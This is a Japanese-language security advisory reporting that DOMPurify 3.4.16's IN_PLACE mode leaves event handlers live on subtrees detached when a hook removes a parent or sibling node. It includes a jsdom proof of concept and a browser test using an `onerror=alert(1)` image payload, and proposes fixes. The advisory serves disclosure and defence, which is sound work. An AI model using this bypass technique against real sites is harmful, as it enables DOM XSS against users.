DOMPurify IN_PLACE: 親要素または兄弟要素が削除された場合、切り離されたサブツリーのイベントハンドラが有効なままになる(GHSA-p98j-92pf-mc4pに対する不完全な修正)
### 概要
GHSA-p98j-92pf-mc4pに対する3.4.16の修正は、呼び出されたノード自体を削除する処理のみを対象としています。`IN_PLACE`モードで、現在のノードの親要素や、まだ処理されていない兄弟要素など、別のノードが削除される場合、そのサブツリーは処理されず、無効化されません。その結果、イベントハンドラは要素に残ったままになり、`<img onerror>`のような要素が、`sanitize()`が完了した後でも動作する可能性があります。
READMEには、「フックによってツリーから切り離されたノードは、削除されたものとして扱われます。IN_PLACEモードでは、そのサブツリーはインラインで無効化されるため、`<img onload>`のような要素が、ライブツリーが構築された時点で既に読み込みを開始していた場合でも、`sanitize()`が完了した後には動作しません。」と記載されています。しかし、これは切り離されたノードがフック自身のノードではない場合に当てはまりません。
### テストバージョン
- 3.4.16 (最新) および 18f8f0e の main ブランチ
- また、3.4.15、3.4.12 および 2.5.8
以下のテストでは、jsdomを使用し、イベントが実際に発生するかどうかはChromium (Playwright)で確認しました。
### 詳細
`src/purify.ts` の2134行目(3.4.16の `dist/purify.cjs.js` の2009行目)、`_handleHookDetachedNode()`:
```js
if (currentNode === root || getParentNode(currentNode) !== null) {
return false;
}
if (IN_PLACE) {
_neutralizeSubtree(currentNode);
}
```
このコードは、`currentNode`が親要素を失ったかどうかのみを確認しています。フックが`currentNode.parentNode`(または祖先ノード)を削除した場合、`currentNode`は依然として親要素を持っているため、何も起こりません。削除されたサブツリーは、以降の処理でアクセスできなくなり、`DOMPurify.removed`にも登録されないため、後続の処理でも認識されません。兄弟要素が削除された場合も同様です。これは、すべての要素および属性のフックに適用されます。
### PoC (jsdom)
```js
const { JSDOM } = require('jsdom')
const createDOMPurify = require('dompurify')
const win = new JSDOM('<!doctype html><body></body>').window
const doc = win.document
```
```
for (const mode of ['self', 'parent', 'nextSibling']) {
const DOMPurify = createDOMPurify(win)
doc.body.innerHTML = '<div id=root><figure><img class=bad src=a.png>' +
'<img id=evil src=x onerror=alert(1)></figure><p>ok</p></div>'
const root = doc.getElementById('root')
const evil = doc.getElementById('evil')
// アプリケーションのフック:問題のある画像(self)、そのラッパー(parent)、または次の要素(nextSibling)を削除します。
DOMPurify.addHook('afterSanitizeAttributes', (node) => {
if (node.getAttribute && node.getAttribute('class') === 'bad') {
if (mode === 'self') node.remove()
if (mode === 'parent') node.parentNode.remove()
if (mode === 'nextSibling') node.nextElementSibling.remove()
}
})
DOMPurify.sanitize(root, { IN_PLACE: true })
console.log(DOMPurify.version, mode.padEnd(11), 'onerror =', JSON.stringify(evil.getAttribute('onerror')))
}
```
3.4.16 での出力結果:
```
3.4.16 self onerror = null
3.4.16 parent onerror = "alert(1)"
3.4.16 nextSibling onerror = "alert(1)"
```
`self` モードでは、ウォーカーは依然として2番目の画像に到達し、`onerror` 属性を削除します。他の2つのモードでは、2番目の画像とそのハンドラが削除されます。`beforeSanitizeElements`、`uponSanitizeElement`、`afterSanitizeElements`、`beforeSanitizeAttributes`、および `afterSanitizeAttributes` のいずれを使用しても、同じ結果が得られます。
### 実験 (ブラウザ)
同じことを、127.0.0.1 から提供される実際のページで行い、Chromium で開きます。
```
```html
<!doctype html><meta charset=utf-8>
<script src="purify.min.js"></script>
<body><pre id=log></pre>
<script>
window.fired = [];
function run(mode) {
const D = DOMPurify(window);
D.addHook('afterSanitizeAttributes', n => {
if (n.getAttribute && n.getAttribute('class') === 'bad') {
if (mode === 'parent') n.parentNode.remove();
if (mode === 'self') n.remove();
}
});
const root = document.createElement('div');
document.body.appendChild(root);
root.innerHTML = '<figure><img class=bad src=data:,><img src=x onerror="fired.push(\'' + mode + '\')"></figure><p>ok</p>';
D.sanitize(root, { IN_PLACE: true });
return root.outerHTML;
}
const a = run('self'), b = run('parent');
setTimeout(() => {
document.getElementById('log').textContent =
'version=' + DOMPurify.version + '\nself out=' + a + '\nparent out=' + b + '\nfired=' + JSON.stringify(fired);
}, 1500);
</script>
```
バージョン 3.4.16 での結果:
```
version=3.4.16
self out=<div><figure><img src="x"></figure><p>ok</p></div>
parent out=<div><p>ok</p></div>
fired=["parent"]
```
どちらの場合も、返されるツリーは安全ですが、切り離された画像に対するハンドラが、`parent` モードの場合、ページ上で実行されます。
### 影響
`IN_PLACE` を使用し、ラッパーや近くの要素を削除するフック(例えば、「画像が許可されていない場合は、`<figure>` 全体を削除する」)を使用するアプリケーションでは、`sanitize()` が完了した後、攻撃者が作成したマークアップによって DOM XSS が発生する可能性があります。 このようなフックが必要なため、これは「入力とアプリケーションの選択」のカテゴリに該当し、SECURITY.md に記載されているセキュリティ上の保証に反します。 また、これは GHSA-55q2-fjhq-7xh7 および GHSA-p98j-92pf-mc4p と同様のパターンです。
### 提案される修正
`currentNode` だけをチェックするのではなく、各フックの呼び出し後に、現在のノード以外のものが切り離されたかどうかを確認します。 2つの簡単なオプションがあります。
- `IN_PLACE`モードでフックを実行する前に、ウォーカーが次に訪問するノードと、現在のノードの祖先を記憶してください。フックの実行後、`root`の下に接続されなくなった要素はすべて無効化します。
- または、ウォークの後に、元のツリーに存在したが、`root`に接続されなくなったすべての要素を無効化します(例えば、ウォークの前に要素を収集しておく)。
影響を受けるパッケージ:
- npm (JavaScript) dompurify: 影響範囲は3.4.16以下、3.4.17で修正済み。